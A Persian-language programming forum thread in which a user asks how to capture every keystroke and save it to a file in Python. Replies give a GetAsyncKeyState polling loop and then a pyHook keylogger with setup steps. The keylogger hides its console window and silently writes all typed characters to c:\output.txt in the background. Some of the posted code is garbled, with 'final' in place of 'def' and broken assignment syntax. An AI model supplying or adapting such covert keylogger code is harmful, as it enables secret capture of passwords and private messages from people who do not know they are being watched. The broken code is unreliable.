با سلام
چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ آیا همچین کلاسی برای این کار توی پایتون وجود داره ؟
با سلام
چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ آیا همچین کلاسی برای این کار توی پایتون وجود داره ؟
سلام
import ctypes
from ctypes.wintypes import *
user32=ctypes.windll.user32
while 1:
try:
for i in range(255):
code=user32.GetAsyncKeyState(i)
if code!=0 & i!=255:
print(i)
except:
pass
ممنون دوست عزیز لطف کردین
میشه یک توضیح مختر در مورد این برنامه بدین ؟ تا من بهتر بفهمم که چطور کار میکنه ؟
چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!
منظورتون چیه؟چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!
اگه این کد رو اجرا کنید هر کلیدی رو که فشار بدید کد اسکی اون رو چاپ می کنه براتون
در مورد کد هم از API های ویندوز داره استفاده می کنه
ببینید دوست عزیز من میخوام هر کراکتری که توسط کیبورد فشار داده میشه دقیقا همون همون کاراکتر (مثل a ) دقیقا همین کاراکتر رو بگیرم و بتونم توی یک فایل ذخیره کنم !
منظور من این بود
سلام همهی کلید های فشرده شده تو برنامهی خودت فقط؟ اگه yes همون کد بالا کارت رو راه میندازه کد اسکی رو به کاراکتر مورد نظر تبدیل کن
Kernel Mode Developer
RootKitSMM@Yahoo.com
چرا نیست برادر
SetWindowsHookEx
یه هوک سطح پایین می خواد WH_KEYBOARD_LL
Kernel Mode Developer
RootKitSMM@Yahoo.com
دوست عزیز میشه یه کم بیشتر توضیح بدی ؟
سرچ گن عزیز بردار
از pyhook استفاده کن اینم مثال :
- Download and install the necessary software:
- Python 2.6: http://www.python.org/
- Pyhook for Python 2.6: pyhook.sourceforge.net
- Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
- From the Start menu, select "Python 2.6> PythonWin" to start the editor
- From the menu select "File> New", then choose the "Python Script" and give "OK"
- Paste the following source (attention to indentation)
import WIN32API
import win32console
import win32gui
import pythoncom, pyHook
win32console.GetConsoleWindow win = ()
win32gui.ShowWindow (win, 0)
final OnKeyboardEvent (event):
if event.Ascii == 5:
_exit (1)
if event.Ascii! = 0 or 8:
f = open ( 'c: \ output.txt', 'r')
buffer = f.read ()
f.close ()
f = open ( 'c: \ output.txt', 'w')
keylogs = chr (event.Ascii)
if event.Ascii == 13:
keylogs = '/ n'
buffer + = keylogs
f.write (buffer)
f.close ()
hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()- Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.
Kernel Mode Developer
RootKitSMM@Yahoo.com